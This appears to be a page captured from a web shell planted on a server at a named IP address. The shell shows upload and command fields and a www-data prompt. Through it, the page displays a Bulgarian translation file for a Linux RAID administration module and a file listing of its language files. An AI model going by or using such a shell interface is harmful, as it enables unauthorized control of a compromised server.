[ Avaa Bypassed ]




Upload:

Command:

www-data@18.224.32.173: ~ $
index_title=Linux RAID
index_none=Няма конфигурирани RAID устройства.
index_add=Създаване на RAID устройство от ниво:
index_return=RAID устройства
index_emdstat=RAID статус файлът на ядрото $1 не съществува на вашата ситема. Вероятно вашето ядро не поддържа RAID.
index_eprogs=Пакетите RAID tools и MDADM не са инсталирани на вашата система.
index_mdadm=Използвайки MDADM версия $1
index_raidtools=Използване на RaidTools
index_name=Име на устройство
index_active=Активен?
index_errors=Грешки
index_status=Статус
index_level=RAID ниво
index_size=Използваем размер
index_members=Участващи дискови устройства
index_header=Опции за предупреждаване при RAID проблем
index_mailaddr=Изпращай предупрежденията към
index_mailaddrnone=Не изпращай
index_mailfrom=От адрес за предупреждения
index_mailfromnone=Подразбиращ се (<tt>root</tt>)
index_program=Команда за стартиране когато бъдат открити проблеми
index_programnone=Не стартирай нищо
index_monitor=Включено ли е наблюдението?

linear=Линеен (Наставен)
raid0=RAID0 (Стрип-нат)
raid1=RAID1 (Огледален)
raid4=RAID4 (Заделена четност)
raid5=RAID5 (Разпределена четност)
raid6=RAID6 (Двукратна разпределена четност)
raid10=RAID10 (Стрип-нат и огледален)
blocks=блока

create_title=Създаване на RAID устройства
create_header=Опции за RAID устройство
create_device=Файл на устройството
create_level=RAID ниво
create_disks=Дялове в RAID
create_spares=Резервни дялове
create_pdisk=Дял за четност
create_missing=Включително липсващия в момента диск?
create_pauto=Автоматично
create_nodisks=Няма свободни дялове, достъпни за RAID.
create_super=Постоянен суперблок?
create_parity=Схема
create_chunk=Размер на порцията данни
create_force=Приложи инициализация на RAID?
create_assume=Пропускане на инициализацията на устройства?
create_rdev=RAID устройство $1
create_lvm=LVM VG $1, LV $2
create_err=Грешка при създаването на RAID
create_edisks=Няма избрани дялове
create_edisks2=Поне 2 дяла трябва да бъдат избрани за създаване на „огледало“
create_espare=Резервен дял $1 не може да бъде също така и RAID дял
create_epdisk=Дялът за четност не може да бъде също и дял за RAID
create_group=Член на резервна група
create_nogroup=Няма (използване на собствените резерви)
create_oldgroup=Съществуваща група
create_newgroup=Нова група
create_enewgroup=Липсващо или не-буквено-цифрово име на резервна група
create_n2_layout=2 близки копия
create_f2_layout=2 отдалечени копия
create_o2_layout=2 offset копия
create_n3_layout=3 близки копия
create_f3_layout=3 отдалечени копия
create_o3_layout=3 offset копия

view_title=RAID устройство
view_header=Опции на RAID устройство
view_device=Файл на устройството
view_uuid=UUID
view_level=RAID ниво
view_status=Статус на файловата система
view_errors=RAID грешки
view_bad=$1 диска са отказали
view_mounted=Монтирано на $1
view_mount=За монтиране на $1
view_lvm=Използвано в LVM VG $1
view_iscsi=Използвано от iSCSI споделено устройство $1
view_active=Активен, но не монтиран
view_inactive=Неактивно и не-монтирано
view_super=Постоянен суперблок?
view_parity=Схема
view_chunk=Размер на блока данни
view_stop=Деактивиране
view_stopdesc=Натиснете този бутон, за да изключите RAID устройството, така че то вече да не бъде достъпно.
view_start=Активиране
view_startdesc=Натиснете този бутон, за да активирате отново това RAID устройство.
view_disks=Дялове в RAID
view_spares=Резервни дялове
view_size=Използваем размер
view_resync=Процент извършена ре-синхронизация
view_delayed=Изчакване на друго устройство
view_down=(Down)
view_cannot=Това RAID устройство не може да бъде модифицирано, понеже в момента е монтирано.
view_cannot2=Това RAID устройство не може да бъде монтирано, деактивирано, изтрито или реформатирано, тъй като в момента е активно.
view_mkfs2=Създаване на файлова система от тип:
view_mkfsdesc=Изберете тип файлова система и натиснете този бутон, за да създадете нова файлова система в този логически том. Това ще изтрие всички данни, които сега са в тома.
view_add=Добавяне на дял:
view_adddesc=Изберете неизползван дял и натиснете този бутон, за да го добавите към RAID устройството.
view_delete=Изтриване на RAID масив
view_deletedesc=Натиснете този бутон, за да премахнете напълно това RAID устройство. Всички данни на него ще бъдат с почти пълна сигурност изгубени!
view_remove=Премахване на дял:
view_removedesc=Изберете дял, който е част от RAID устройството, и натиснете този бутон, за да го премахнете. Това може да причини загуба на данни!
view_remove_det=Премахване на отделен дял
view_remove_detdesc=Премахване на дялове, които вече са физически отделени от системата.
view_replace=Замяна на дял:
view_replacedesc=Изберете дял, който трябва да бъде заменен. (Замяна без спиране)
view_grow=Допълване на RAID:
view_growdesc=Допълване на масив (конвертиране на резервни дискове към активни членове на масива)
view_convert_to_raid6=Конвертиране към RAID6
view_convert_to_raid6desc=Конвертиране на RAID ниво към RAID6 чрез добавяне на един или повече дискове.
view_convert_to_raid5=Конвертиране към RAID5
view_convert_to_raid5desc=Конвертиране на RAID ниво към RAID5 чрез премахване на диск.
view_state=RAID статус
view_rebuild=Прогрес на възстановяването
view_newmount=Монтиране на RAID на:
view_newmount2=Монтиране на RAID като виртуална памет
view_mountmsg=Въведете директория и натиснете този бутон, за да отидете на форма за монтиране на RAID устройството, което трябва вече да съдържа файлова система.
view_mountmsg2=Натиснете този бутон, за да използвате това RAID устройство за виртуална памет на вашата система.
view_blocks=$1 блока
view_sparegroup=Резервна група

mkfs_title=Създаване на файлова система
mkfs_header2=Този формуляр ви позволява да създадете нова $2 файлова система на $1. <b>Всички</b> налични данни ще бъдат изтрити!
mkfs_options=Опции за нова файлова система на Linux
mkfs_err=Грешка при създаване на файлова система
mkfs_exec=Изпълнява команда $1 ..
mkfs_failed=.. командата върна грешка!
mkfs_ok=.. команда приключи.

emkraid=<tt>mkraid</tt> върна грешка : $1
eraidstop=<tt>raidstop</tt> върна грешка : $1
eraidstart=<tt>raidstart</tt> върна грешка : $1
eforce=Трябва да приложите инициализацията на този RAID : $1
emdadmstop=<tt>mdadm</tt> in <tt>--stop</tt> режим върна грешка : $1
emdadmcreate=<tt>mdadm</tt> in <tt>--create</tt> режим върна грешка : $1
emdadmadd=<tt>mdadm</tt> in <tt>--manage --add</tt> режим върна грешка : $1
emdadmgrow=<tt>mdadm</tt> in <tt>--grow</tt> режим върна грешка : $1
emdadmremove=<tt>mdadm</tt> in <tt>--manage --remove</tt> режим върна грешка : $1
emdadmreplace=<tt>mdadm</tt> in <tt>--manage --replace</tt> режим върна грешка : $1
emdadmfail=<tt>mdadm</tt> in <tt>--manage --fail</tt> режим върна грешка : $1

log_create=Създадено $1 RAID устройство $2
log_stop=Деактивирано RAID устройство $1
log_start=Активирано RAID устройство $1
log_delete=Изтрито RAID устройство $1
log_mkfs=Създадена $1 файлова система на $2
log_add=Добавен дял $1 към RAID устройство $1
log_remove=Премахнат дял $2 от RAID устройство $1
log_replace=Заменен без изключване дял $2 в RAID устройство $1 с резервен дял $3
log_grow=Допълнено RAID устройство $1 до общо $2 диска
log_convert_to_raid6=Конвертирано RAID5 устройство $1 към RAID6 устройство
log_convert_to_raid5=Конвертирано RAID6 устройство $1 към RAID5 устройство
log_notif=Променени опции за предупреждение при RAID проблеми

notif_err=Грешка при запис на опциите за предупреждения при RAID проблеми
notif_emailaddr=Липсващ или невалиден адрес за предупреждения
notif_emailfrom=Липсващ или невалиден „От“ адрес
notif_eprogram=Липсваща или несъществуваща програма за изпълнение

delete_title=Изтриване на RAID масив
delete_rusure=Сигурни ли сте, че искате да изтриете RAID масива $1, който използва $2 дисково пространство?
delete_ok=Да, изтрий
delete_eidx=Няма избран RAID масив!

remove_title=Премахване на дял от RAID масив
remove_rusure=Сигурни ли сте, че искате да премахнете дял $2 от RAID масив $1?
remove_ok=Да, премахни
remove_eidx=Няма избран RAID масив!

Filemanager

Name Type Size Permission Actions
af.auto File 7.46 KB 0644
ar.auto File 9.09 KB 0644
be.auto File 11.12 KB 0644
bg File 11.75 KB 0644
ca File 7.94 KB 0644
cs File 5.82 KB 0644
cs.auto File 1.95 KB 0644
da.auto File 7.34 KB 0644
de File 8.16 KB 0644
el.auto File 12.51 KB 0644
en File 6.98 KB 0644
es File 4.83 KB 0644
es.auto File 3.13 KB 0644
eu.auto File 7.36 KB 0644
fa.auto File 10.11 KB 0644
fi.auto File 7.51 KB 0644
fr File 8.08 KB 0644
fr.auto File 212 B 0644
he.auto File 8.53 KB 0644
hr.auto File 7.58 KB 0644
hu File 6.18 KB 0644
hu.auto File 888 B 0644
it.auto File 7.94 KB 0644
ja File 3.05 KB 0644
ja.auto File 6.55 KB 0644
ko File 2.45 KB 0644
ko.auto File 5.58 KB 0644
lt.auto File 7.82 KB 0644
lv.auto File 7.68 KB 0644
ms.auto File 7.37 KB 0644
mt.auto File 7.66 KB 0644
nl File 6.78 KB 0644
nl.auto File 831 B 0644
no File 7.3 KB 0644
pl File 2.37 KB 0644
pl.auto File 5.35 KB 0644
pt.auto File 7.9 KB 0644
pt_BR.auto File 7.9 KB 0644
ro.auto File 8.02 KB 0644
ru File 4.3 KB 0644
ru.auto File 7.22 KB 0644
sk.auto File 7.86 KB 0644
sl.auto File 7.51 KB 0644
sv File 2.27 KB 0644
sv.auto File 5.19 KB 0644
th.auto File 13.13 KB 0644
tr.auto File 7.69 KB 0644
uk File 4.19 KB 0644
uk.auto File 6.99 KB 0644
ur.auto File 10.12 KB 0644
vi.auto File 8.76 KB 0644
zh File 2.43 KB 0644
zh.auto File 4.18 KB 0644
zh_TW File 2.23 KB 0644
zh_TW.auto File 4.75 KB 0644